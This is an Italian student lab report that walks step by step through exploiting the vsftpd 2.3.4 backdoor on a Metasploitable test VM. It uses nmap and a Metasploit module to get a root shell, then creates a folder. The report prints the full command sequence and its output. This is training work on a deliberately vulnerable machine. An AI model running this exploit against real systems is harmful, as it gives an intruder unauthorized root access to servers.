

Epicode

CS0124

Francesco Ficetti

Consegna S7/L1

Indice

| | |
|-----------------------------------|----------|
| Traccia..... | 3 |
| Svolgimento..... | 3 |
| Scansione con nmap..... | 3 |
| Configurazione di Metasploit..... | 4 |
| Esecuzione di Metasploit..... | 6 |
| Conclusioni..... | 6 |

Traccia

Completare una sessione di hacking sulla macchina Metasploitable, sul servizio «vsftpd».

Una volta ottenuta la sessione sulla Metasploitable, creare una cartella con il comando *mkdir* nella directory di root. Chiamare la cartella *test_metasploit*.

Svolgimento

Prima di sfruttare una vulnerabilità del servizio FTP, si deve sapere se la macchina target offre un servizio di quel tipo.

Scansione con nmap

Avviare una scansione con *nmap*, un tool che permette di individuare le porte aperte, ed i servizi attivi sulle stesse. Aggiungere anche lo switch *-sV*, per avere in dettaglio la versione di quei servizi.

```
(francesco@kali)-[~]
$ nmap -sV 192.168.1.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-04 15:33 CET
Nmap scan report for 192.168.1.149
Host is up (0.0012s latency).
Not shown: 980 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet?
25/tcp    open  smtp?
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2121/tcp  open  ccproxy-ftp?
3306/tcp  open  mysql?
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Host: irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 194.32 seconds
```

Come si può vedere in figura, sulla macchina target risultano attivi diversi servizi, tra i quali proprio il servizio FTP, versione *vsftpd 2.3.4*. Adesso si può procedere su Metasploit.

Configurazione di Metasploit

Per avviare Metasploit, eseguire il comando *msfconsole*.

Una volta avviata la console, si può effettuare una ricerca con il nome di un servizio, per vedere se esistono vulnerabilità da sfruttare. Nel nostro caso, il comando da eseguire è *search vsftpd*.

```
msf6 > search vsftpd

Matching Modules
=====
```

| # | Name | Disclosure Date | Rank | Check | Description |
|---|--------------------------------------|-----------------|-----------|-------|--|
| 0 | auxiliary/dos/ftp/vsftpd_232 | 2011-02-03 | normal | Yes | VSFTPD 2.3.2 Denial of Service |
| 1 | exploit/unix/ftp/vsftpd_234_backdoor | 2011-07-03 | excellent | No | VSFTPD v2.3.4 Backdoor Command Execution |

```
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Metasploit ha risposto con una lista di exploit disponibili per il servizio vsftpd, uno dei quali si riferisce proprio alla versione installata sulla macchina target. Per poterlo utilizzare, eseguire il comando *use*, seguito dal path dell'exploit.

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > |
```

Come si può vedere in figura, l'exploit è stato selezionato.

Ora è necessario capire quali parametri devono essere configurati per poterlo avviare. Il comando da eseguire è *show options*.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
```

| Name | Current Setting | Required | Description |
|---------|-----------------|----------|---|
| CHOST | | no | The local client address |
| CPORT | | no | The local client port |
| Proxies | | no | A proxy chain of format type:host:port[,type:host:port][...] |
| RHOSTS | | yes | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT | 21 | yes | The target port (TCP) |

```


Payload options (cmd/unix/interact):
```

| Name | Current Setting | Required | Description |
|------|-----------------|----------|-------------|
|------|-----------------|----------|-------------|

```


Exploit target:
```

| Id | Name |
|----|-----------|
| 0 | Automatic |

```


View the full module info with the info, or info -d command.
```

I parametri fondamentali per il funzionamento dell'exploit, sono quelli che hanno *yes* come valore, nella colonna *Required*. Nel nostro caso sono due:

- *rhosts*, ovvero l'indirizzo IP della macchina su cui gira il servizio che vogliamo attaccare (Metasploitable);
- *rport*, ovvero la porta su cui è attivo quel servizio, impostato di default a 21.

Il comando da eseguire è *set rhosts 192.168.1.149*.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ---      -
  CHOST      CHOST            no        The local client address
  CPORT      CPORT            no        The local client port
  Proxies    Proxies          no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     192.168.1.149   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21              yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  ---      -
  PAYLOAD    PAYLOAD          no        The payload to execute

Exploit target:

  Id  Name
  --  ---
  0    Automatic

View the full module info with the info, or info -d command.
```

Rimane solo da scegliere e configurare il payload, ovvero la parte di attacco che si vuole seguire una volta che si è riusciti a sfruttare la vulnerabilità.

Per vedere i payloads disponibili, il comando è *show payloads*.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads

  #  Name                               Disclosure Date  Rank  Check  Description
  --  ---                               -
  0  payload/cmd/unix/interact           normal         No    Unix Command, Interact with Established Connection
```

Nel nostro caso, essendoci un unico payload disponibile, è già stato impostato di default.

Per verificare i parametri necessari ad eseguire il payload, si può eseguire nuovamente il comando *show options*. Il payload selezionato non necessita di alcun parametro.

Esecuzione di Metasploit

Dopo aver configurato Metasploit, si può eseguire l'attacco con il comando *exploit*.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:44753 → 192.168.1.149:6200) at 2024-03-04 17:11:35 +0100

whoami
root
|
```

Come si può vedere, Metasploit è riuscito a trovare una backdoor e ad aprire una sessione remota di shell. Per verificare che funzioni correttamente si può eseguire il comando *whoami*, grazie a questa vulnerabilità si ottengono i privilegi di root.

L'obiettivo dell'esercizio è creare una cartella che si chiama *test_metasploit*, all'interno della directory root. Il comando da eseguire è *mkdir test_metasploitable*. Per verificare che la cartella sia stata creata correttamente, si può andare ad eseguire il comando *ls* nella directory root di Metasploitable.

```
msfadmin@metasploitable:/$ ls
bin      etc      lib      nohup.out  sbin      tmp
boot     home     lost+found  opt        srv        usr
cdrom    initrd   media     proc       sys        var
dev      initrd.img  mnt       root       test_metasploitable  vmlinuz
msfadmin@metasploitable:/$ _
```

Conclusioni

L'attacco è stato eseguito con successo.